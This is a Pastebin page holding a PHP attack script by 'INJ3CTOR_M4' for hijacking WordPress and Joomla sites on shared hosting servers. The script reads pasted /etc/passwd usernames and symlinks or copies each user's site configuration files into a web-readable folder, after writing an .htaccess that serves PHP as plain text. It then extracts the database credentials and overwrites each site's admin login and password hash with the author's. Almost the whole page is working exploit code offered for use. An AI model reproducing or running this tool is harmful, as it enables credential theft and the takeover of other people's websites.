API tools faq
paste
inj3ctor_m4

Joomla & Wordpress Server Info Changer

inj3ctor_m4
Nov 5th, 2014
862
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.94 KB | None | 0 0
raw download clone embed print report
  1. <title>Made In Morocco</title>
  2. <style type=text/css>
  3.     div#container{
  4.         width:931px; position:relative; margin-top:0px; margin-left:auto; margin-right:auto; text-align:left;
  5.     }body{
  6.         text-align:center; margin:0; background-color:#000000; color:#000000;
  7.     }input{
  8.         border:dashed 1px; border-color:#333; BACKGROUND-COLOR:Black; font:8pt Verdana; color:Red;
  9.     }input:hover{
  10.         background:#1e1e1e; border:solid 0px #86CC50;
  11.     }a {
  12.         color:#518413; text-decoration:non;
  13.     }a:hover{
  14.         background:#1e1e1e; color:#f00; text-decoration:none;
  15.     }textarea{
  16.         width:500px; height:230px; border:1px #424242 dotted; background-color:#111111; color:#999999; font:9pt Verdana; font-family:Courier
  17.     }
  18. </style>
  19. <br /><img src='http://im44.gulfup.com/Symxf.png'>
  20. <pre><big><font color='red'>Joomla & Wordpress Server Info Changer</font></big></pre>
  21. <?php
  22. #Joomla & Wordpress Server Info Changer
  23. #By INJ3CTOR_M4
  24.  
  25. @error_reporting(0);
  26. @set_time_limit(0);
  27.  
  28. if (function_exists ('symlink') or function_exists ('copy')){
  29.     if (isset ($_POST['users'])){
  30.         $r = "Options all \nDirectoryIndex Sux.html\nAddType text/plain .php\nAddHandler server-parsed .php\nAddType text/plain .html\nAddHandler txt .html\nRequire None\nSatisfy Any";
  31.         @mkdir('m4_configs', 0755);
  32.         $f = @fopen ('m4_configs/.htaccess','w') or die("Unable to open file!");
  33.         fwrite($f, $r);
  34.         fclose($f);
  35.        
  36.         $passwd = explode("\n", $_POST['users']);
  37.         foreach($passwd as $users){
  38.             $users = explode(':', $users);
  39.             $user = $users[0];
  40.            
  41.             $funs = array('symlink', 'copy');
  42.             foreach($funs as $f){
  43.                 if (function_exists($f)) {
  44.                     @$f('/home/'.$user.'/public_html/wp-config.php',"m4_configs/$user-wp13.txt");
  45.                     @$f('/home/'.$user.'/public_html/wp/wp-config.php',"m4_configs/$user-wp13-wp.txt");
  46.                     @$f('/home/'.$user.'/public_html/WP/wp-config.php',"m4_configs/$user-wp13-WP.txt");
  47.                     @$f('/home/'.$user.'/public_html/wp/beta/wp-config.php',"m4_configs/$user-wp13-wp-beta.txt");
  48.                     @$f('/home/'.$user.'/public_html/beta/wp-config.php',"m4_configs/$user-wp13-beta.txt");
  49.                     @$f('/home/'.$user.'/public_html/press/wp-config.php',"m4_configs/$user-wp13-press.txt");
  50.                     @$f('/home/'.$user.'/public_html/wordpress/wp-config.php',"m4_configs/$user-wp13-wordpress.txt");
  51.                     @$f('/home/'.$user.'/public_html/Wordpress/wp-config.php',"m4_configs/$user-wp13-Wordpress.txt");
  52.                     @$f('/home/'.$user.'/public_html/blog/wp-config.php',"m4_configs/$user-wp13-Wordpress.txt");
  53.                     @$f('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',"m4_configs/$user-wp13-wordpress-beta.txt");
  54.                     @$f('/home/'.$user.'/public_html/news/wp-config.php',"m4_configs/$user-wp13-news.txt");
  55.                     @$f('/home/'.$user.'/public_html/new/wp-config.php',"m4_configs/$user-wp13-new.txt");
  56.                     @$f('/home/'.$user.'/public_html/blog/wp-config.php',"m4_configs/$user-wp-blog.txt");
  57.                     @$f('/home/'.$user.'/public_html/beta/wp-config.php',"m4_configs/$user-wp-beta.txt");
  58.                     @$f('/home/'.$user.'/public_html/blogs/wp-config.php',"m4_configs/$user-wp-blogs.txt");
  59.                     @$f('/home/'.$user.'/public_html/home/wp-config.php',"m4_configs/$user-wp-home.txt");
  60.                     @$f('/home/'.$user.'/public_html/protal/wp-config.php',"m4_configs/$user-wp-protal.txt");
  61.                     @$f('/home/'.$user.'/public_html/site/wp-config.php',"m4_configs/$user-wp-site.txt");
  62.                     @$f('/home/'.$user.'/public_html/main/wp-config.php',"m4_configs/$user-wp-main.txt");
  63.                     @$f('/home/'.$user.'/public_html/test/wp-config.php',"m4_configs/$user-wp-test.txt");
  64.                     @$f('/home/'.$user.'/public_html/joo/configuration.php',"m4_configs/$user-joo.txt");
  65.                     @$f('/home/'.$user.'/public_html/cms/configuration.php',"m4_configs/$user-joomla-cms.txt");
  66.                     @$f('/home/'.$user.'/public_html/site/configuration.php',"m4_configs/$user-joomla-site.txt");
  67.                     @$f('/home/'.$user.'/public_html/main/configuration.php',"m4_configs/$user-joomla-main.txt");
  68.                     @$f('/home/'.$user.'/public_html/news/configuration.php',"m4_configs/$user-joomla-news.txt");
  69.                     @$f('/home/'.$user.'/public_html/new/configuration.php',"m4_configs/$user-joomla-new.txt");
  70.                     @$f('/home/'.$user.'/public_html/home/configuration.php',"m4_configs/$user-joomla-home.txt");
  71.                     @$f('/home/'.$user.'/public_html/configuration.php',"m4_configs/$user-joomla.txt");
  72.                     break;
  73.                 }
  74.             }
  75.         }
  76.         $url = get_configs_path();
  77.         $data = Get_Source ($url,"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3");
  78.         preg_match_all('#href="(.*?)">#', $data, $matches);
  79.         $configs = array_unique($matches[1]);
  80.         foreach($configs as $config){
  81.             $user = explode('-', $config);
  82.             echo "<pre><font color=white> The Url : <a href='http://".gethostbyname($_SERVER["HTTP_HOST"])."/~".$user[0]."' target='_blank'>http://".gethostbyname($_SERVER["HTTP_HOST"])."/~".$user[0]."</a></font>";
  83.            
  84.             $data = Get_Source ($url.$config,"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3");
  85.             if (preg_match ("#DB_USER#i", $data)){
  86.                 preg_match ("#'DB_HOST', '(.*?)'#i", $data, $DB_HOST);
  87.                 preg_match ("#'DB_USER', '(.*?)'#i", $data, $DB_USER);
  88.                 preg_match ("#'DB_PASSWORD', '(.*?)'#i", $data, $DB_PASSWORD);
  89.                 preg_match ("#'DB_NAME', '(.*?)'#i", $data, $DB_NAME);
  90.                
  91.                 $con = @mysql_connect($DB_HOST[1],$DB_USER[1],$DB_PASSWORD[1]);
  92.                 if($con){
  93.                     $db_selected = @mysql_select_db($DB_NAME[1], $con);
  94.                     if($db_selected){
  95.                         $q = @mysql_query("UPDATE `wp_users` SET `user_login` ='inj3ctor_m4' WHERE ID = 1");
  96.                         $q = @mysql_query("UPDATE `wp_users` SET `user_pass` ='fd6b6fc9220b72d21683ae8e4f50a210' WHERE ID = 1");
  97.                         if($q){
  98.                             echo ' <font color=green>(New User: inj3ctor_m4, New Password: m4)</font></pre>';
  99.                         }else{
  100.                             echo ' <font color=red>(ERROR)</font></pre>';
  101.                         }
  102.                     }else{
  103.                         echo " <font color=red>(Can't Select The Database)</font></pre>";
  104.                     }
  105.                 }else{
  106.                     echo '<b> <font color=red>(Could not connect)</font></pre>';
  107.                 }
  108.             }elseif (preg_match ("#class JConfig#i", $data)){
  109.                 preg_match ("#host = '(.*?)'#i", $data, $DB_HOST);
  110.                 preg_match ("#user = '(.*?)'#i", $data, $DB_USER);
  111.                 preg_match ("#password = '(.*?)'#i", $data, $DB_PASSWORD);
  112.                 preg_match ("#db = '(.*?)'#i", $data, $DB_NAME);
  113.                
  114.                 $con = @mysql_connect($DB_HOST[1],$DB_USER[1],$DB_PASSWORD[1]);
  115.                 if($con){
  116.                     $db_selected = @mysql_select_db($DB_NAME[1], $con);
  117.                     if($db_selected){
  118.                         $q = @mysql_query("UPDATE `jos_users` SET `username` ='inj3ctor_m4' WHERE ID = 62");
  119.                         $q = @mysql_query("UPDATE `jos_users` SET `password` ='fd6b6fc9220b72d21683ae8e4f50a210' WHERE ID = 62");
  120.                         if($q){
  121.                             echo ' <font color=green>(New User: inj3ctor_m4, New Password: m4)</font></pre>';
  122.                         }else{
  123.                             echo ' <font color=red>(ERROR)</font></pre>';
  124.                         }
  125.                     }else{
  126.                         echo " <font color=red>(Can't Select The Database)</font></pre>";
  127.                     }
  128.                 }else{
  129.                     echo ' <font color=red>(Could not connect)</font></pre>';
  130.                 }
  131.             }
  132.         }
  133.     }else{
  134.         echo'<form method=POST />
  135.         <textarea rows=30 cols=125 name=users placeholder="Put /etc/passwd Value Here"></textarea><br /><br />
  136.         <input type=submit value=START />
  137.         <br />';
  138.     }
  139. }
  140.  
  141. function get_configs_path(){
  142.     $full_url_path = "http://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
  143.     $parse = pathinfo ($full_url_path);
  144.     $configs_path = $parse['dirname'].'/m4_configs/';
  145.     return $configs_path;
  146. }
  147.  
  148. function Get_Source ($url, $user_agent){
  149.     $ch = curl_init();
  150.     curl_setopt ($ch, CURLOPT_URL, $url);
  151.     curl_setopt ($ch, CURLOPT_USERAGENT, $user_agent);
  152.     curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  153.     curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  154.     curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  155.     curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  156.     curl_setopt ($ch, CURLOPT_ENCODING, "gzip, deflate, compress");
  157.     curl_setopt ($ch, CURLOPT_FRESH_CONNECT, 1);
  158.     $source = curl_exec($ch);
  159.     curl_close($ch);
  160.    
  161.     return $source;
  162. }
  163.  
  164. ?>
  165. <br /><pre><font color=red>C0d3d 3y <a href=https://www.facebook.com/H4ck19 target=_blank>INJ3CTOR_M4</a></font></pre></p>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!